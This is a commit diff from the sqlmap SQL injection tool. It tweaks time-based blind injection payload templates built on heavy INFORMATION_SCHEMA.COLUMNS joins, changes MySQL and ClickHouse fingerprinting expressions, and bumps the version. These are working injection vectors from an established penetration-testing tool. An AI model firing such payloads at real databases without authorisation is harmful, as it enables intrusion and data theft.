diff --git a/data/xml/payloads/time_blind.xml b/data/xml/payloads/time_blind.xml
index f181a758e..944ec8008 100644
--- a/data/xml/payloads/time_blind.xml
+++ b/data/xml/payloads/time_blind.xml
@@ -195,9 +195,9 @@
         <risk>2</risk>
         <clause>1,2,3,8,9</clause>
         <where>1</where>
-        <vector>AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM])</vector>
+        <vector>AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])</vector>
         <request>
-            <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C)</payload>
+            <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)</payload>
         </request>
         <response>
             <time>[DELAYED]</time>
@@ -235,9 +235,9 @@
         <risk>3</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM])</vector>
+        <vector>OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])</vector>
         <request>
-            <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C)</payload>
+            <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)</payload>
         </request>
         <response>
             <time>[DELAYED]</time>
@@ -276,9 +276,9 @@
         <risk>2</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM])</vector>
+        <vector>AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])</vector>
         <request>
-            <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C)</payload>
+            <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)</payload>
             <comment>#</comment>
         </request>
         <response>
@@ -318,9 +318,9 @@
         <risk>3</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM])</vector>
+        <vector>OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])</vector>
         <request>
-            <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C)</payload>
+            <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)</payload>
             <comment>#</comment>
         </request>
         <response>
@@ -1628,9 +1628,9 @@
         <risk>2</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM])</vector>
+        <vector>IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])</vector>
         <request>
-            <payload>(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C)</payload>
+            <payload>(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)</payload>
         </request>
         <response>
             <time>[DELAYED]</time>
diff --git a/lib/core/dicts.py b/lib/core/dicts.py
index ee455729a..e031eca8e 100644
--- a/lib/core/dicts.py
+++ b/lib/core/dicts.py
@@ -270,7 +270,7 @@ HEURISTIC_NULL_EVAL = {
     DBMS.ACCESS: "CVAR(NULL)",
     DBMS.MAXDB: "ALPHA(NULL)",
     DBMS.MSSQL: "DIFFERENCE(NULL,NULL)",
-    DBMS.MYSQL: "QUARTER(NULL)",
+    DBMS.MYSQL: "QUARTER(NULL XOR NULL)",
     DBMS.ORACLE: "INSTR2(NULL,NULL)",
     DBMS.PGSQL: "QUOTE_IDENT(NULL)",
     DBMS.SQLITE: "UNLIKELY(NULL)",
@@ -288,7 +288,7 @@ HEURISTIC_NULL_EVAL = {
     DBMS.EXTREMEDB: "NULLIFZERO(hashcode(NULL))",
     DBMS.RAIMA: "IF(ROWNUMBER()>0,CONVERT(NULL,TINYINT),NULL))",
     DBMS.VIRTUOSO: "__MAX_NOTNULL(NULL)",
-    DBMS.CLICKHOUSE: "coalesce(NULL)",
+    DBMS.CLICKHOUSE: "halfMD5(NULL) IS NULL",
 }
 
 SQL_STATEMENTS = {
diff --git a/lib/core/enums.py b/lib/core/enums.py
index 4fba28218..f589e9de4 100644
--- a/lib/core/enums.py
+++ b/lib/core/enums.py
@@ -52,7 +52,7 @@ class DBMS(object):
     PRESTO = "Presto"
     ALTIBASE = "Altibase"
     MIMERSQL = "MimerSQL"
-    CLICKHOUSE = "Clickhouse"
+    CLICKHOUSE = "ClickHouse"
     CRATEDB = "CrateDB"
     CUBRID = "Cubrid"
     CACHE = "InterSystems Cache"
diff --git a/lib/core/settings.py b/lib/core/settings.py
index b7496e467..4009d625c 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@ from thirdparty import six
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.7.2.1"
+VERSION = "1.7.2.2"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/plugins/dbms/clickhouse/__init__.py b/plugins/dbms/clickhouse/__init__.py
index 88db47a80..873a0bb1b 100755
--- a/plugins/dbms/clickhouse/__init__.py
+++ b/plugins/dbms/clickhouse/__init__.py
@@ -18,7 +18,7 @@ from plugins.generic.misc import Miscellaneous
 
 class ClickhouseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
     """
-    This class defines Clickhouse methods
+    This class defines ClickHouse methods
     """
 
     def __init__(self):
diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py
index d1df204e2..a61ca5b94 100644
--- a/plugins/dbms/mysql/fingerprint.py
+++ b/plugins/dbms/mysql/fingerprint.py
@@ -175,7 +175,7 @@ class Fingerprint(GenericFingerprint):
         infoMsg = "testing %s" % DBMS.MYSQL
         logger.info(infoMsg)
 
-        result = inject.checkBooleanExpression("QUARTER(NULL) IS NULL")
+        result = inject.checkBooleanExpression("QUARTER(NULL XOR NULL) IS NULL")
 
         if result:
             infoMsg = "confirming %s" % DBMS.MYSQL